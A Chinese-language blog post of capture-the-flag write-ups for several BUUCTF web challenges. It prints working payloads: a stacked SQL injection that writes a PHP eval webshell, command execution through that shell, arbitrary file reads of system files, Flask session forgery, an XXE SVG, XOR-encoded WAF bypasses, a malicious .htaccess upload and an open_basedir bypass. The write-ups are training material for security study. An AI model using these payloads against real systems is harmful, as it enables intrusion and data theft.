前言
国B打完打国A,也有一个多月没刷buu了,刷刷题练练手感。
[SUCTF 2018]MultiSQL
进入网页,是一个测试系统,但是只有注册和登录可以点击,先随便注册一个账号登录试试。
登录成功后又多了两个可操作点:用户信息和编辑头像。这题看起来可以利用的点多的不行。首先我们进入用户信息,发现url存在可疑注入点,当id为2时为自己注册的账户,id为1时为管理员账户,id为3以后则不存在账户。
id参数测试也存在一堆注入,但是过滤拉满,select也是被过滤了。这时候就要用到Mysql的预处理机制来进行写入文件了,我们通过文件上传功能发现绝对路径,因此可以写入webshell进行getshell。
关于Mysql预处理的基本知识:
MySQL的预处理技术
由于select被过滤,因此使用char()
来绕过waf。
exp:
1 | str="select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';" |
payload:
1 | ?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query; |
文件上传成功,到./favicon/shell.php
执行命令,获取flag:
1 | _=system('cat /WelL_Th1s_14_fl4g '); |
[SWPU2019]Web4
进入网站又是个登录框,但这次不给注册了,那不出意外应该还是存在sql注入。抓包发现username和password是以json格式上传的,且在闭合单引号时出现报错,加入注释符回显正常,因此确定存在sql注入。
经测试发现select又被过滤了,且依然存在堆叠注入,那有没有一种可能,这里的解法和上一道题是类似的呢?当然,这里我们使用时间盲注对数据库进行注入,exp:
1 | import requests |
压缩包下载下来是源码,发现是一个框架,根目录下有flag.php文件,但是无法看到flag,推断是要我们进行文件包含或文件读取。因此审计代码:
1 | //userIndex.php |
我们发现在这个文件中可以通过读取$img_file
的内容来输出对应的base64编码,存在文件读取,那么我们要怎么调用到这个文件呢:
1 | //UserController.php |
这个文件直接可以加载userIndex,那么我们根据框架的规则,就可以抓包读取了,payload:
1 | /index.php?r=User/Index&img_file=/../flag.php |
base64转码后即为flag。
[CISCN2019 华东南赛区]Web4
进入网页只有一行字,让我们read something,点击后跳转到百度。观察url发现存在url参数,尝试任意文件读取发现读取成功,但是存在过滤,例如file
、flag
等被过滤了。
回到/read
审查元素发现存在session,那么我们解读一下:
1 | {'username': b'www-data'} |
看来我们需要把这里的www-data改为什么东西,但是要伪造session我们需要secret_key,我们需要找到它。因此尝试读取其他常用目录,例如/proc/self/environ
:
1 | LANG=C.UTF-8SHELL=/bin/ashSHLVL=1WERKZEUG_RUN_MAIN=trueCHARSET=UTF-8PWD=/appWERKZEUG_SERVER_FD=3LOGNAME=glzjinUSER=glzjinHOME=/appPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binPS1=\h:\w\$ PAGER=less |
存在这个文件说明应该要有/app/app.py
,读取:
1 | # encoding:utf-8 |
我们发现需要将session中的www-data改为fuck就可以在/flag路由下读取flag了。而key的获取方式我们也知晓了,为了知道uuid.getnode,我们需要读取/sys/class/net/eth0/address
:
1 | 7e:cd:10:29:44:9e |
之后我们按照key的生成方式获取key:
1 | import uuid |
用工具生成新的session:
1 | eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.YpHWiA.-RTAvCwEbs--FjJNrtxS3Rb5Uko |
在/flag下更改session读取flag即可。
[BSidesCF 2019]SVGMagic
进入网页只有一个文件上传功能,不过大大的SVG就写在最上面。我们知道SVG是用XML定义的。其实想到这里这题的大致解法就出来了,利用SVG的XML来进行XEE读取flag即可,payload:
1 | <?xml version="1.0" encoding="UTF-8"?> |
flag以图片形式呈现。
[SUCTF 2019]EasyWeb
来道代码审计压压惊:
1 | <?php |
看源码解题思路挺明确的,通过eval()调用get_the_flag()来获取flag,不过上来的waf可不少啊。不过问题不大,异或绕过经典操作就可绕过去了:
1 | ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag |
接着我们来看下get_the_flag(),过滤了ph
和<?
,并且对图片hex正确性进行了验证,看来这个木马只能上传图片码了。
根据phpinfo内容,服务器为Apache,因此选择上传.htacess
文件,不过以前写的这个文件在这里就不好用了,因为要绕过对内容的过滤,因此这里选择将文件内容进行base64编码(我看别人wp用的是utf-16,那样的话.htacess
文件就不用改了)。
.htacess
:
1 | #define width 1000 |
exp:
1 | import requests |
文件上传成功,但是没法直接连接,查看phpinfo发现存在open_basedir,因此我们无法访问根目录,这里用到bypass open_basedir的那个方法:
1 | ?mrl64=chdir(%27img%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);var_dump(scandir('/')); |
[SUCTF 2018]annonymous
最后来做个代码审计:
1 | <?php |
代码很短,逻辑也很简单,$MY的作用就是读取flag,而$hash则是创造了一个随机数。我们都知道create_function()创造的是一个匿名函数,但其实这个函数是有名字的,名字是%00lambda_%d
(%d格式化为当前进程的第n个匿名函数,n的范围0-999)。
而想要在eval()中调用$MY,就必须要得到这个函数的名字,不过这范围也就1000,直接爆破就好了。
exp:
1 | import requests |
运行exp获得flag。